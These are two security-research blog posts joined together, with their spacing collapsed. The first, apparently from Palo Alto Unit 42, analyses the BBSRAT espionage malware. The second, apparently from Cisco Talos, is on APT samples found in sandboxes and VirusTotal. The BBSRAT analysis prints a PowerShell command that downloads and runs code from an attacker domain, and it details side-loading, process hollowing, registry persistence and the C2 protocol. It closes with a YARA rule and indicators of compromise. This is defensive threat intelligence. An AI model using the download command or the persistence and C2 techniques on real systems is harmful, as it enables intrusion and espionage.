Waitingforyourreply Figure2confirmsthatthedecoydocumentthatopensafterthemalwareinfectsthesystemisindeedalistofinternational exhibitionsthatwereconductedonRussianterritoryin2015.
Figure2Decoydocumentthatisopenedafterthemaliciousdocumenthasinfectedthesystem Inmorerecentmonths,wehaveidentifiedseveralotherpotentialRussianvictimsusingAutoFocus.
Analysisofthecommandand 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 3/12 control(C2)infrastructureshowsthatthenewlydiscoveredsamplesofBBSRATusedthesameC2domainsaspreviously publishedintheRoamingTigercampaign,includingtransactiona[.]comandfuturesgold[.
]com.
Interestingly,allofthepreviously publishedC2domainshavesignificantoverlapamongstthehashesandIPswhileC2sforBBSRATcontainnooverlapatall.
This mayindicatethatforthenewerattackcampaignusingBBSRAT,theadversarymayhavedeployedpurposebuiltvariantsand/or infrastructureforeachoftheintendedtargets.
Figure3Commandandcontrolinfrastructure BBSRATMalwareAnalysis DeploymentTechnique1 BBSRATistypicallypackagedwithinaportableexecutablefile,althoughinafewoftheobservedinstances,arawDLLwas discoveredtocontainBBSRAT.Whenthedropperfirstruns,itwillgenerateapathintheTEMPdirectory.
Thegenerated filenameis1016uppercasealphabeticcharacters,andendswitha.
TMPfileextension.
Thedropperwillcontinuetowritean embeddedcabfileinthislocation.
Figure4HeaderofCABfiledroppedbyBBSRAT ThemalwarewillproceedtocreateoneofthefollowingdirectoriesdependingonwhatversionofMicrosoftWindowsisrunningon thetargetmachine: ALLUSERSPROFILE\SSONSVR ALLUSERSPROFILE\ApplicationData\SSONSVR Usingthebuiltinexpand.exeutilityprovidedbyMicrosoftWindows,thedropperexecutesthefollowingcommand,whichwill https://support.microsoft.com/en-us/kb/80751 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 4/12 expandtheCABfileandwritetheresultstotheprovideddirectory: expand.exeTEMP\[temp_file]Destination[chosen_path]\SSONSVR ThisresultsinthefollowingthreefilesbeingwrittentotheSSONSVRdirectory: aclmain.sdb pnipcn.dll ssonsvr.exe Thessonsvr.exefileisalegitimateCitrixexecutablethatwillbeusedtosideloadthemaliciouspnipcn.dllfile.
Theaclmain.sdb filecontainscodethatwilleventuallybeloadedbythepnipcn.dllfile.
Themalwarefinallyexecutesssonsvr.exeviaacalltoShellExecuteW.
Figure5ExecutionflowofdropperexpandingCABfile Whenssonsvr.exeisexecuted,andthepnipcn.dllfileisloaded,itwillbeginbyidentifyingthepathtomsiexec.exe,byexpanding thefollowingenvironmentstring: SystemRoot\System32\msiexec.exe Itwillthenspawnasuspendedinstanceofmsiexec.exeinanewprocess.
Themalwareproceedstoloadcodefromthe aclmain.sdbfileandperformsprocesshollowingagainstthisinstanceofmsiexec.exepriortoresumingtheprocess.
Figure6Sideloadingexecutionflow Inordertoensurepersistence,thefollowingregistrykeyiswrittenonthevictimsmachine: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ssonsvr.exe:[path_to_ssonsvr.exe] DeploymentTechnique2 InthemostrecentlyobservedsampleofBBSRATfoundinAutoFocus,theTrojanwasdeployedviaadownloaderthatusedthe InvokeReflectivePEInjection.ps1scriptfromthePowerSploitframework.
Whenthedownloaderexecutes,itwillfirstdecryptthefollowingtwostringsusinga5byteXORkeyof\x01\x02\x03\x04\x05: powershellexecbypasscIEX(NewObjectNet.
WebClient).DownloadString(http://testzake[.
]com/IR.ps1)Invoke ReflectivePEInjectionPEUrlhttp://testzake[.
]com/s.exe C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershellexecbypasscIEX(NewObject Net.
WebClient).DownloadString(http://testzake[.]com/IR.ps1)InvokeReflectivePEInjectionPEUrlhttp://testzake[.
]com/s.exe ThesestringsarethensequentiallyexecutedviacallstoWinExec.
Aswecansee,thesecondcommandisspecificallycraftedto runon64bitversionsofMicrosoftWindows.
Thecommandsinquestionwilldownloadanexecutablefileandrunitwithinthe contextofthepowershellprocess.
Whentheabovecommandsareexecuted,thedownloaderwillinitiallydownloadtheIR.ps1powershellscriptfromthespecified URL: Figure7DownloaderdownloadingtheInvokeReflectivePEInjectionPowerSploitscript ThisPowershellscriptappearstohavebeenpulleddirectlyfromthePowerSploitframework,withnomodificationsmade.
The malwaretheninvokesthisscriptwithaURLthatpointstoanadditionalexecutablefile.
Thisdownloadedexecutablecontainsa copyoftheBBSRATmalwarefamily.
https://attack.mitre.org/wiki/DLL_side-loading https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(vvs.85).aspx https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 5/12 Thedownloaderproceedstodropeithera32bitor64bitDLLfilethatwillexecutethetwopreviouslystatedPowershell commandswhentheDLLisloaded.
ThisDLLisdroppedtooneofthefollowinglocations: SYSTEMROOT\web\srvcl32.dll APPDATA\web\srvcl32.dll Additionally,thefollowingregistrykeysaresetdependingonthesystemsCPUarchitecture: HKU\Software\Classes\CLSID\42aedc87218841fdb9a30c966feabec1\InprocServer32\ThreadingModelBoth HKU\Software\Classes\CLSID\42aedc87218841fdb9a30c966feabec1\InprocServer32\Default[path_to_srvcl32.dll] HKLM\SOFTWARE\Classes\CLSID\F3130CDBAA524C3AAB3285FFC23AF9C1\InprocServer32\ThreadingModelBoth HKLM\SOFTWARE\Classes\CLSID\F3130CDBAA524C3AAB3285FFC23AF9C1\InprocServer32\Default [path_to_srvcl32.dll] TheCOMobjectfor42aedc87218841fdb9a30c966feabec1isspecifictoMruPidlList,whiletheCOMobjectforF3130CDB AA524C3AAB3285FFC23AF9C1isspecifictoMicrosoftWBEMNewEventSubsystem.
ThisensuresthattheDLLspecified willloadwhenMicrosoftWindowsstarts.
ItisatechniquethatwasusedbytheZeroAccessrootkitwhenitinitiallysurfaced.
BBSRATExecution Afterbeingloadedusingoneofthetwotechniquesdiscussed,BBSRATmalwarebeginsexecutionbyloadingthefollowing librariesatruntime: ntdll.dll kernel32.dll user32.dll advapi32.dll gdi32.dll ws2_32.dll shell32.dll psapi.dll Secur32.dll WtsApi32.dll Netapi32.dll Version.dll Crypt32.dll Wininet.dll ThefollowingmutexisthencreatedtoensureasingleinstanceofBBSRATisrunningatagiventime: Global\GlobalAcProtectMutex ThroughouttheexecutionofBBSRAT,itwilldynamicallyloadfunctionspriortocallingthem,asseenintheexamplebelow demonstratingBBSRATmakingacalltotheWSAStartupfunction: Figure8BBSRATcallingWSAStartupfunction Themalwareproceedstoparsethestoredembeddednetworkconfigurationandspawnsaseriesofthreadsresponsiblefor networkcommunication.
ThisincludesaseriesofHTTPorHTTPSrequests,suchasthefollowing: GET/bbs/1/forum.php?sid1HTTP/1.1 Cookie:A46A8AA9D7D643FB959DC96E ContentLength: UserAgent:Mozilla/4.0(compatibleWindowsNT5.1) Connection:KeepAlive Host:transactiona[.
]com CacheControl:nocache Accept:/ ContentType: Intheaboveexample,the1usedbothintheURIandthesidGETparameterisaglobalincrementalcounter.
Everysubsequent requestmadebyBBSRATincrementsthiscounterbyone.
Additionally,allvariantsofBBSRATwehavefoundusethesameURL https://nakedsecurity.sophos.com/2012/06/06/zeroaccess-rootkit-usermode/ 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 6/12 forcommandandcontrol(C2)communication.
Whenfirstexecuted,themalwarewillexfiltratedataaboutthevictimsmachineviaaPOSTrequesttothe /bbs/[counter]/forum.php?sid[counter]URL.AllnetworkdatasentviaPOSTrequestsusesacustombinarystructure,asdefined asthefollowing: Thecompressed_datafieldiscompressedusingthecommonZLIBcompressionalgorithm.
Additionally,intheeventdataisbeing sentviaHTTPratherthanHTTPS,thefollowingadditionalencryptionalgorithmisappliedtothePOSTdata: ThefollowingdatastructureholdsthevictimsinformationthatisuploadedbyBBSRAT: BBSRATacceptsmanypossiblecommandsthattheC2servercanprovide.
ThesecommandsaresentasaresponsetotheGET beaconsthatarecontinuallyrequestedviaeitherHTTPorHTTPS.Thefollowingcommandsandsubcommandshavebeen identified: CommandSub command Description 0x110010 N/A Beacon 1 2 3 4 5 6 7 8 9 10 11 struct network_header  DWORD random DWORD hardcoded0 DWORD hardcoded1 DWORD command DWORD length_of_compressed_data DWORD length_of_decompressed_data DWORD unknown2 BYTE compressed_data[]  1 2 3 4 5 6 7 8 def decrypt(data): out  [] for x in data: t  (ord(x) - 23) t1  (t  62) t2  (t1  23)  0xFF out.append(chr(t2)) return out 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 struct victim_information  DWORD static_value DWORD major_version DWORD minor_version DWORD build_number DWORD platform_id DWORD default_locale DWORD unknown DWORD local_ip_address DWORD running_as_64_bit DWORD random DWORD unknown2 DWORD struct_length DWORD struct_with_not_used_length DWORD struct_with_username_length DWORD struct_with_group_length DWORD unknown3 DWORD struct_with_hostname_length WCHAR not_used[??]
WCHAR username[??]
WCHAR group[??]
WCHAR hostname[??]
4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 7/12 0x110011 N/A Uninstall/KillMalware 0x110020 N/A UploadVictimInformation 0x110064 0x2 ExecuteCommandandReturnResponse 0x110064 0x4 Unknown 0x110064 0x5 ExecuteShellcode 0x110066 0x7 QueryServiceConfiguration 0x110066 0x9 StartService 0x110066 0xa StopService 0x110066 0xb DeleteService 0x110066 0xc ChangeServiceConfiguration 0x110063 0xd EnumerateRunningProcesses 0x110063 0xf KillProcess 0x110063 0x10 GetProcessInformation 0x110063 0x12 FreeLibraryforSpecifiedProcess 0x110065 0x1b ExecuteCommandQuietly 0x110065 0x1e SendInputtoConsole 0x110065 0x1f ExecuteShellcode 0x110061 0x20 ListDriveInformation 0x110061 0x21 ListFileInformationForGivenDirectory 0x110061 0x23 WriteFile 0x110061 0x24 ReadFile 0x110061 0x25 ListFileInformationForGivenDirectory 0x110061 0x27 PerformFileOperationviaSHFileOperation() 0x110061 0x28 DeleteFile 0x110061 0x29 CreateDirectory 0x110061 0x2a ShellExecute PleaserefertotheappendixforafulllistofidentifiedBBSRATsamplesandtheirassociatedC2servers.
Conclusion Asinmanyofthepreviousarticlesregardingespionagemotivatedadversariesandpossiblenationstatecampaigns,whatisbeing observedinthisattackcampaignisacontinuedoperationandevolutionbytheadversaryevenafteritstactics,techniques,and procedures(TTPs)havebecomepublicknowledge.
Despitethefactthattheinformationabouttheseattackershasbeenpublicfor overayear,includingalistingofmanyofthecommandandcontrolservers,theycontinuetoreusemuchoftheirexposed playbook.
WeurgeorganizationstousethedatafromUnit42andotherthreatintelligencesourcesisparamounttoproactively securethemselvesandpreventattacks.
WildFireproperlyclassifiesBBSRATmalwaresamplesasmalicious.
WehavereleasedDNSsignaturestoblockaccesstotheC2 domainnamesincludedinthisreport.
AutoFocususerscanexploretheseattacksusingtheBBSRATmalwarefamilytag.
Appendix YARARule BBSRATSamples MD5 EF5FA2378307338D4E75DECE88158D77(SampleAnalyzed) SHA1 574230D89EABDE0B6F937CD718B3AD19BB4F5CE3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 rule bbsrat meta: author  Tyler Halfpop company  Palo Alto Networks last_updated  12-16-15 strings: sa0  ALLUSERSPROFILE\\SSONSVR fullword wide sa1  ALLUSERSPROFILE\\Application Data\\SSONSVR fullword wide sa2  \\ssonsvr.exe fullword wide oa0   83 E8 01 88 0C 04 75 F8 8B 44 24 40 89 4C 24 18 89 4C 24 1C 89 4C 24 30 89 oa1   75 11 5F 5E B8 0D 00 00 00 5B 81 C4 ?
?
07 00 00 C2 10 00 53 68 80 00 00 00 sb0  systemroot\\Web\\ sb1  srvcl32.dll ob0   B8 67 66 66 66 F7 E9 D1 FA 8B C2 C1 E8 1F 03 C2 8D 04 80 8B D1 2B D0 8A 44 ob1   8D 84 24 18 02 00 00 50 C7 84 24 1C 02 00 00 94 00 00 00 FF 15 4C 20 40 00 condition: uint16(0)  0x5a4d and filesize  300KB and (all of (sa) or all of (oa) or all  https://www.paloaltonetworks.com/products/technologies/wildfire.html https://autofocus.paloaltonetworks.com//tag/Unit42.BBSRAT 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 8/12 SHA256 FC4B465EE8D2053E9E41FB0A6AE32843E4E23145845967A069E584F582279725 Compile Time 2014122617:17:00UTC Network Protocol HTTPS C2 Server(s) transactiona[.
]com financenewsru[.
]net MD5 2254A1CA05DB87D9D58A71DDB97C7395 SHA1 65B17D3FF68D25392A9B0B9E25A275540DFB4E8D SHA256 567A5B54D6C153CDD2DDD2B084F1F66FC87587DD691CD2BA8E30D689328A673F Compile Time 2015110407:14:33UTC Network Protocol HTTPS C2 Server(s) jowwln[.]cocolco[.
]com pagbine[.]ofhloe[.
]com cdaklle[.]housejjk[.
]com MD5 74A41C62D9EC1164AF82B802DA3E8B3E SHA1 D390E0965823E42584F2799EF0E8161A6540AF3E SHA256 77A2E26097285A794E42C9E813D14936D0E7A1DD3504205DD6B28A71626F8C3C Compile Time 2015110407:14:33 Network Protocol HTTPS C2 Server(s) kop[.]gupdiic[.
]com MD5 C17534E4B61C08A7646CDC64574B429B SHA1 931BAB999568C228616430A5AEDFEDFC34E1F151 SHA256 61A692E615E31B97B47A215479E6347FBD8E6E33D7C9D044766B4C1D1AE1B1FB Compile Time 2015110407:14:33UTC Network Protocol HTTPS C2 Server(s) herman[.]eergh[.
]com MD5 C7C79393E762E7ED925F42D3C899BA60 SHA1 7406B11851200D0ADA1A8334107182D636738CE5 SHA256 B1737F3A1C50CB39CD9938D5EC3B4A6A10B711F17E917886481C38967B93E259 Compile Time N/A Network Protocol HTTP C2 Server(s) 211.44.42[.
]55 MD5 0EA888E970345B2FBFD74B369FE46DDD SHA1 EB4F9BDE2FFAE863E0D7AD5848A758D59224C3F7 SHA256 56D878EDD61176CA30D4A41555671161158E94E8A50E5482985F42C4E4843CB5 Compile Time 2015082509:33:57UTC Network Protocol HTTPS C2 Server(s) crew[.]wichedgecrew[.
]com blueway[.]garmiodrive[.
]com helloway[.]floretdog[.
]com MD5 FA944818A939456A7B6170326C49569F SHA1 0EB3AE28A7A7D97ABA30DA4E8EB0A4AB36EFD035 SHA256 22592A32B1193587A707D8B20C04D966FE61B37F7DEF7613D9BB91FF2FE9B13B Compile Time 2015082509:33:57UTC 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 9/12 Network Protocol HTTPS C2 Server(s) panaba[.]empleoyplan[.
]com kop[.]gupdiic[.
]com peak[.]measurepeak[.
]com MD5 896691AE546F498404F5884607D6EB50 SHA1 91A176EB5B2436762B9898075EC66042E33615A3 SHA256 13D0BD83A023712B54C1DD391DFC1BC27B22D9DF4FE3942E2967EC82D7C95640 Compile Time N/A Network Protocol HTTP C2 Server(s) 211.44.42[.
]55 MD5 A78B9438117963A9A18B2F056888498B SHA1 98E79C065DB88B4686AB5B7C36C4524333D64C48 SHA256 E049BD90028A56B286F4B0B9062A8DF2AB2DDF492764E3962F295E9CE33660E3 Compile Time 2014122617:17:00UTC Network Protocol HTTP C2 Server(s) 211.44.42[.
]55 support.yandexmailru[.
]kr MD5 B4927EAC9715014E17C53841FEEDF4E1 SHA1 26E8CFD13175B67C12FC72A11FBDBC749F0B61C0 SHA256 2D81D65D09BF1B864D8964627E13515CEE7DEDDFBD0DC70B1E67F123AB91421E Compile Time 2014122617:17:00UTC Network Protocol HTTPS C2 Server(s) kop[.]gupdiic[.
]com panaba[.]empleoyplan[.
]com peak[.]measurepeak[.
]com MD5 41A02CAF0A0D32FAD5418425F9973616 SHA1 CC83EA6EF4763F24193D56359590BB34127DD36E SHA256 7438ED5F0FBE4B26AFED2FE0E4E4531FC129A44D8EA416F12A77D0C0CD873520 Compile Time 2015082509:33:57UTC Network Protocol HTTPS C2 Server(s) herman[.]eergh[.
]com prdaio[.]unbrtel[.
]com loomon[.]gupdicc[.
]com MD5 AA59EE1E40D22BD22CEE19B8B6A17DF3 SHA1 963E0AD3EC717253A8E74F45D3C552107D6ECACA SHA256 6FAE5305907CE99F9AB51E720232EF5ACF1950826DB520A847BF8892DC9578DE Compile Time 2014122617:17:00UTC Network Protocol HTTPS C2 Server(s) winwordupdate[.]dynu[.
]com MD5 B934BF027EC3A9DFCAE9D836D68BAB75 SHA1 E9744516E621B233C44F5854C0DF63FFDD62FB81 SHA256 0BAF36CA2D3772FDFF989E2B7E762829D30DB132757340725BB50DEE3B51850C Compile Time 2014122617:17:00UTC Network Protocol HTTPS 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 10/12 C2 Server(s) transactiona[.
]com financenewsru[.
]net MD5 7533E65A16B4B3BA451A141F389D3A30 SHA1 CB46E6234DA0A9C859C1F71FFEB86100284A0142 SHA256 D579255852720D794349AE2238F084C6393419AF38479F3D0E3D2A21C9EB8E18 Compile Time 2014122617:17:00UTC Network Protocol HTTPS C2 Server(s) winwordupdate[.]dynu[.
]com adobeflashupdate1[.]strangled[.
]net MD5 8CD233D3F226CB1BF6BF15ACA52E0E36 SHA1 B955CA4AA8F7181C2252C4699718F6FEFC0B9CE3 SHA256 95F198ED29CF3F7D4DDD7CF688BFEC9E39D92B78C0A1FD2288E13A92459BDB35 Compile Time 2015092206:16:44UTC Network Protocol HTTP C2 Server(s) www[.]testzake[.
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]com IOCs Hashes 61a692e615e31b97b47a215479e6347fbd8e6e33d7c9d044766b4c1d1ae1b1fb 22592a32b1193587a707d8b20c04d966fe61b37f7def7613d9bb91ff2fe9b13b 2d81d65d09bf1b864d8964627e13515cee7deddfbd0dc70b1e67f123ab91421e d579255852720d794349ae2238f084c6393419af38479f3d0e3d2a21c9eb8e18 0fc52c74dd54a97459e964b340d694d8433a3229f61e1c305477f8c56c538f27 567a5b54d6c153cdd2ddd2b084f1f66fc87587dd691cd2ba8e30d689328a673f 95f198ed29cf3f7d4ddd7cf688bfec9e39d92b78c0a1fd2288e13a92459bdb35 6fae5305907ce99f9ab51e720232ef5acf1950826db520a847bf8892dc9578de b1737f3a1c50cb39cd9938d5ec3b4a6a10b711f17e917886481c38967b93e259 71dc584564b726ed2e6b1423785037bfb178184419f3c878e02c7da8ba87c64d 4ea23449786b655c495edf258293ac446f2216464b3d1bccb314ef4c61861101 0baf36ca2d3772fdff989e2b7e762829d30db132757340725bb50dee3b51850c 012ec51657d8724338a76574a39db4849579050f02c0103d46d406079afa1e8b e049bd90028a56b286f4b0b9062a8df2ab2ddf492764e3962f295e9ce33660e3 77a2e26097285a794e42c9e813d14936d0e7a1dd3504205dd6b28a71626f8c3c 5aa7db3344aa76211bbda3eaaccf1fc1b2e76df97ff9c30e7509701a389bd397 fc4b465ee8d2053e9e41fb0a6ae32843e4e23145845967a069e584f582279725 44171afafca54129b89a0026006eca03d5307d79a301e4a8a712f796a3fdec6e 7438ed5f0fbe4b26afed2fe0e4e4531fc129a44d8ea416f12a77d0c0cd873520 13d0bd83a023712b54c1dd391dfc1bc27b22d9df4fe3942e2967ec82d7c95640 Domains adobeflashupdate.dynu[.
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]com 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 11/12 peak.measurepeak[.
]com prdaio.unbrtel[.
]com support.yandexmailru[.
]kr systemupdate5.dtdns[.
]net testzake[.
]com transactiona[.
]com wap.gxqtc[.
]com wap.hbwla[.
]com wap.kylxt[.
]com windowsupdate.dyn[.
]nu winwordupdate.dynu[.
]com www.testzake[.
]com www.yunw[.
]top 7PingbacksTrackbacks December23,20155:04PM 20151223ThreatIntelligenceForce December23,201510:13PM HackersaretargetingRussianorganizationsforespionageSecurityAffairs December23,201510:28PM RoamingTigerHackerstargetsRussianorganizationsSecurityAffairs December23,201510:35PM FortifyingNetworksHackersaretargetingRussianorganizationsforespionage December24,20152:31AM RoamingTigerHackerstargetsRussianorganizationsforespionageOSINFO December24,20159:28PM BBSRATAroundCyber December25,20157:23AM RoamingTigerHackerstargetsRussianorganizationsforespionageTailorTechnology PostYourComment Name Email Website PostComment Home Government Partners Unit42ThreatIntelligence TechnicalDocumentation AdvancedEndpointProtection GetUpdates http://researchcenter.paloaltonetworks.com/facebook http://researchcenter.paloaltonetworks.com/twitter http://researchcenter.paloaltonetworks.com/google_plus https://www.addtoany.com/shareurlhttp3A2F2Fresearchcenter.paloaltonetworks.com2F20152F122Fbbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger2FtitleBBSRAT20Attacks20Targeting20Russian20Organizations20Linked20to20Roaming20TigerdescriptionUnit204220finds20BBSRAT20attacks20targeting20Russian20organizations20linked20to20Roaming20Tiger.
http://www.threatiforce.com/index.php/2015/12/24/2015-12-23-secnews/ http://securityaffairs.co/wordpress/43004/cyber-crime/russian-organizations-victims-espionage.html http://securityaffairs.co/wordpress/43004/cyber-crime/roaming-tiger-hacking-campaign.html https://fortifyingnetworks.com/hackers-are-targeting-russian-organizations-for-espionage/ http://opensourcesinfo.org/roaming-tiger-hackers-targets-russian-organizations-for-espionage/ https://aroundcyber.wordpress.com/2015/12/24/bbsrat-palo-alto-networks-report/ https://www.tailortechnology.eu/index.php/2015/12/24/roaming-tiger-hackers-targets-russian-organizations-for-espionage/ http://researchcenter.paloaltonetworks.com/ http://researchcenter.paloaltonetworks.com/government http://researchcenter.paloaltonetworks.com/partners http://researchcenter.paloaltonetworks.com/unit42 http://researchcenter.paloaltonetworks.com/technical-documentation http://researchcenter.paloaltonetworks.com/endpoint-2 4/3/2016 BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger - Palo Alto Networks BlogPalo Alto Networks Blog http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/ 12/12 Signuptoreceivethelatestnews,cyberthreatintelligenceandresearchfromUnit42.
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4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 1/10 T H U R S D AY,  J A N U A R Y  1 4 ,  2 0 1 6 This post was authored by Mariano Graziano.
Malware sandboxes are automated dynamic analysis systems that execute programs in a controlled environment.
Within the large volumes of samples submitted daily to these services, some submissions appear to be different from others and show interesting characteristics.
At USENIX Security 2015 I presented a paper in which we proposed a method to automatically discover malware developments from samples submitted to online dynamic analysis systems.
The research was conducted by dissecting the Anubis sandbox dataset which consisted of over 30M samples collected in six years.
The methodology we proposed was effective and we were able to detect many interesting cases in which the malware authors directly interacted with the sandbox during the development phase of the threats.
Another interesting result that came from the research concerns the samples attributed to Advanced Persistent Threat (APT) campaigns.
Surprisingly, some of the malware samples used in these sophisticated attacks had been submitted to the Anubis sandbox months -- sometimes even years -- before the attack had been attributed to the proper APT campaign by a security vendor.
To be perfectly clear, we are not saying that it took security vendors months or years to detect a threat.
Most times, we are able to detect the threats in no more than a few hours.
It is just that the malware samples were mislabeled and not properly associated with APT campaigns.
In general, the same goes for non-APT malware campaigns.
In this blog post, we tried to see if the same applied to the Cisco dataset.
Specically, we chose ten APT campaigns, -- some of which were already covered in the Usenix paper.
We decided to inspect two different datasets: our incoming sample feeds / malware zoo, and the telemetry associated with our Advanced Malware Protection (AMP) solutions.
Talos receives samples from over 100 external feeds ranging from anti-malware companies to research centers, while the AMP dataset RESEARCH SPOTLIGHT: NEEDLES IN A HAYSTACK https://twitter.com/emd3l https://www.usenix.org/conference/usenixsecurity15/technical-sessions http://www.s3.eurecom.fr/docs/usenixsec15_graziano.pdf https://anubis.iseclab.org/ http://talosintel.com/ 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 2/10 contains telemetry from the Cisco AMP user-base.
The remaining part of this post is organized as follows.
First, we show the APT campaigns we investigated.
Second, we summarize the results of the analysis of the Talos dataset.
Third, we show the results from the AMP dataset.
Finally, we summarize our ndings.
APT CAMPAIGN MADE PUBLIC Beebus February 2013 Arid Viper February 2015 Red October January 2013 Equation February 2015 Pacic RAT July 2014 Regin November 2014 Aurora January 2010 Pitty Tiger July 2014 Net Traveller June 2013 BrutPOS July 2014 The ten malware campaigns in the table above garnered signicant media attention when discovered, with some of them clearly falling in the area of APT.
They were found by different security companies between 2010 and 2015, having different levels of sophistication and different objectives.
Moreover, these APT campaigns were not limited to western countries.
They have affected organizations all over the world.
Most of the time, connecting the dots and drawing relationships between samples and campaigns take months and many experts.
This means the security company that releases a detailed report documenting the campaign is aware of it long before the information is made public.
However, we believe the public release date is still a good metric, because it is the moment at which all the other security companies and the entire world are made aware of these threats.
Another important aspect during an APT investigation is attribution.
While detection is done quickly, attribution for these campaigns is often an open and hard problem to solve.
Most of the times the perpetrators remain unknown even after months of work by APT CAMPAIGNS http://www.cisco.com/c/en/us/solutions/enterprise-networks/advanced-malware-protection/index.html 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 3/10 Most of the times the perpetrators remain unknown even after months of work by security researchers.
However, sometimes researchers are able to connect the dots and attribute the attack to a threat actor.
This was the case for some of the APT campaigns discussed so far.
Some of these threats have been attributed to state-sponsored actors, others to cyber criminals or to espionage attacks.
However, like in the USENIX publication, in this post we will make no speculation about attribution.
In the next paragraphs, we will present the results of searching for samples associated with these APT campaigns in our datasets.
APT CAMPAIGN AVG DAYS BEFORE APT CAMPAIGN PUBLICALLY IDENTIFIED Beebus 574 Arid Viper 178 Red October 68 Equation 1371 Pacic RAT 455 Regin 1018 Aurora 80 Pitty Tiger 602 Net Traveller 105 BrutPOS 68 This table shows the results of the analysis of our incoming sample feeds/malware zoo.
For every campaign, we checked in our malware zoo to see when they had been initially submitted to us.
Given that we know when information about these APT campaigns was made public, we can compute the number of days it took the security community to publicly tie the samples to an APT campaign, even though the samples had been marked malicious for other reasons.
On average, these samples went for 458 days before being tied to an APT campaign.
The table presents the average number of days for the entire campaign, and we go from a few months as in the case of Aurora to more than three years for Equation.
Notice that these gures come from our malware zoo which collects samples from external sources and in general are a good indicator given the amount of samples received per day.
Notice that these numbers vary based on the dataset.
TALOS DATASET 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 4/10 dataset.
The vast majority of the submissions come from big organizations such as Antivirus companies.
Interestingly, a signicant percentage is submitted by VirusTotal.
For this reason we decided to check the submitters for possible links and intelligence information.
As already documented by Dixon, information about the submitters of samples is not publicly available, but can partially be retrieved from their Intelligence service.
For every sample, it is possible to know a hash (a hexadecimal unique identier of the submitter), the country (from the geolocalization of the IP address of the submitter) and the method (the way the sample has been submitted, for instance via the web interface or the APIs).
This opaque information complicates the analysis a little bit, but it is still possible to obtain interesting results.
SUBMITTER CAMPAIGNS 6exxxxxx AridViper Nettraveller RedOctober BrutPOS PittyTiger 14xxxxxx AridViper Regin 22xxxxxx AridViper Regin Nettraveller BrutPOS PittyTiger 20xxxxxx AridViper Nettraveller PacicRAT BrutPOS PittyTiger 5exxxxxx Equation Regin BrutPOS Auror 72xxxxxx Equation Regin BrutPOS 4bxxxxxx Regin 3bxxxxxx Regin cdxxxxxx Beebus PittyTiger Nettraveller BrutPOS b4xxxxxx Aurora The table above summarizes our ndings from VirusTotal.
The rst column shows the hash of the submitter.
This means that the submitter sent one or more samples of a given APT campaign to VirusTotal before its public release.
One can only speculate on who these submitters are.
They could very likely be the threat actors themselves, testing to see if their malware is detected by the AV companies.
They could also be security researchers or vendors who are trying to get information from VirusTotal.
It is noteworthy that in most of the cases the same submitters uploaded samples belonging VIRUS TOTAL https://www.virustotal.com/ http://blog.9bplus.com/watching-attackers-through-virustotal/ 4/10/2016 Cisco Talos Blog: Research Spotlight: Needles in a Haystack http://blog.talosintel.com/2016/01/haystack.html 5/10 noteworthy that in most of the cases the same submitters uploaded samples belonging to different APT campaigns.
We went through our logs to search for entries that contained hashes related to the ten APT campaigns we have been investigating.
Interestingly, we got hits for eight different hashes belonging to three different campaigns that were discovered on Cisco AMP customer machines before the APT campaign was publicly identied.
